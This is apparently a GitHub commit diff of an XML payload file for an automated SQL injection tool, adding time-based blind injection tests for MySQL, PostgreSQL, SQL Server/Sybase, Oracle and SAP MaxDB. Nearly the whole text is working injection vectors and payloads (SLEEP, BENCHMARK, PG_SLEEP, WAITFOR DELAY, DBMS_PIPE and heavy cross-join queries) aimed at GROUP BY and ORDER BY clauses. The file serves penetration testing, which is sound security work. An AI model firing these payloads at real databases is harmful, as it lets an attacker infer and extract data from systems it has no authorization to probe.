You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector>
2905
+
<request>
2906
+
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>
2925
+
<request>
2926
+
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>
<vector>(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)</vector>
3023
+
<request>
3024
+
<payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)</payload>
3025
+
</request>
3026
+
<response>
3027
+
<time>[SLEEPTIME]</time>
3028
+
</response>
3029
+
<details>
3030
+
<dbms>SAP MaxDB</dbms>
3031
+
</details>
3032
+
</test>
3033
+
<!-- End of time-based blind tests - Parameter replace -->
3034
+
3035
+
2839
3036
<!-- Time-based blind tests - GROUP BY and ORDER BY clauses -->
2840
3037
<test>
2841
3038
<title>MySQL >= 5.0.11 time-based blind - GROUP BY and ORDER BY clauses</title>
2842
3039
<stype>5</stype>
2843
3040
<level>3</level>
2844
-
<risk>2</risk>
3041
+
<risk>1</risk>
2845
3042
<clause>2,3</clause>
2846
3043
<where>1</where>
2847
3044
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector>
2848
3045
<request>
2849
3046
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload>
2850
3047
</request>
2851
3048
<response>
2852
-
<time>[DELAYED]</time>
3049
+
<time>[SLEEPTIME]</time>
2853
3050
</response>
2854
3051
<details>
2855
3052
<dbms>MySQL</dbms>
@@ -2858,7 +3055,7 @@ Formats:
2858
3055
</test>
2859
3056
2860
3057
<test>
2861
-
<title>MySQL < 5.0.12 boolean-based blind - GROUP BY and ORDER BY clauses (heavy query)</title>
3058
+
<title>MySQL < 5.0.12 time-based blind - GROUP BY and ORDER BY clauses (heavy query)</title>
2862
3059
<stype>5</stype>
2863
3060
<level>4</level>
2864
3061
<risk>2</risk>
@@ -2875,7 +3072,126 @@ Formats:
2875
3072
<dbms>MySQL</dbms>
2876
3073
</details>
2877
3074
</test>
2878
-
<!-- TODO: add tests for other DBMSes -->
3075
+
3076
+
<test>
3077
+
<title>PostgreSQL > 8.1 time-based blind - GROUP BY and ORDER BY clauses</title>
3078
+
<stype>5</stype>
3079
+
<level>3</level>
3080
+
<risk>1</risk>
3081
+
<clause>2,3</clause>
3082
+
<where>1</where>
3083
+
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END))</vector>
3084
+
<request>
3085
+
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END))</payload>
3086
+
</request>
3087
+
<response>
3088
+
<time>[SLEEPTIME]</time>
3089
+
</response>
3090
+
<details>
3091
+
<dbms>PostgreSQL</dbms>
3092
+
<dbms_version>> 8.1</dbms_version>
3093
+
</details>
3094
+
</test>
3095
+
3096
+
<test>
3097
+
<title>PostgreSQL time-based blind - GROUP BY and ORDER BY clauses (heavy query)</title>
3098
+
<stype>5</stype>
3099
+
<level>4</level>
3100
+
<risk>2</risk>
3101
+
<clause>2,3</clause>
3102
+
<where>1</where>
3103
+
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END))</vector>
3104
+
<request>
3105
+
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END))</payload>
3106
+
</request>
3107
+
<response>
3108
+
<time>[DELAYED]</time>
3109
+
</response>
3110
+
<details>
3111
+
<dbms>PostgreSQL</dbms>
3112
+
</details>
3113
+
</test>
3114
+
3115
+
<test>
3116
+
<title>Microsoft SQL Server/Sybase time-based blind - ORDER BY clauses</title>
3117
+
<stype>5</stype>
3118
+
<level>3</level>
3119
+
<risk>1</risk>
3120
+
<clause>2,3</clause>
3121
+
<where>1</where>
3122
+
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector>
3123
+
<request>
3124
+
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload>
3125
+
</request>
3126
+
<response>
3127
+
<time>[SLEEPTIME]</time>
3128
+
</response>
3129
+
<details>
3130
+
<dbms>Microsoft SQL Server</dbms>
3131
+
<dbms>Sybase</dbms>
3132
+
<os>Windows</os>
3133
+
</details>
3134
+
</test>
3135
+
3136
+
<test>
3137
+
<title>Microsoft SQL Server/Sybase time-based blind - ORDER BY clause (heavy query)</title>
3138
+
<stype>5</stype>
3139
+
<level>4</level>
3140
+
<risk>2</risk>
3141
+
<clause>2,3</clause>
3142
+
<where>1</where>
3143
+
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector>
3144
+
<request>
3145
+
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload>
3146
+
</request>
3147
+
<response>
3148
+
<time>[DELAYED]</time>
3149
+
</response>
3150
+
<details>
3151
+
<dbms>Microsoft SQL Server</dbms>
3152
+
<dbms>Sybase</dbms>
3153
+
<os>Windows</os>
3154
+
</details>
3155
+
</test>
3156
+
3157
+
<test>
3158
+
<title>Oracle time-based blind - GROUP BY and ORDER BY clauses</title>
3159
+
<stype>5</stype>
3160
+
<level>3</level>
3161
+
<risk>1</risk>
3162
+
<clause>2,3</clause>
3163
+
<where>1</where>
3164
+
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
3165
+
<request>
3166
+
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
3167
+
</request>
3168
+
<response>
3169
+
<time>[SLEEPTIME]</time>
3170
+
</response>
3171
+
<details>
3172
+
<dbms>Oracle</dbms>
3173
+
</details>
3174
+
</test>
3175
+
3176
+
<test>
3177
+
<title>Oracle time-based blind - GROUP BY and ORDER BY clauses (heavy query)</title>
3178
+
<stype>5</stype>
3179
+
<level>4</level>
3180
+
<risk>2</risk>
3181
+
<clause>2,3</clause>
3182
+
<where>1</where>
3183
+
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
3184
+
<request>
3185
+
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
3186
+
</request>
3187
+
<response>
3188
+
<time>[DELAYED]</time>
3189
+
</response>
3190
+
<details>
3191
+
<dbms>Oracle</dbms>
3192
+
</details>
3193
+
</test>
3194
+
<!-- TODO: if possible, add payload for Microsoft Access -->
2879
3195
<!-- End of time-based blind tests - GROUP BY and ORDER BY clause -->
0 commit comments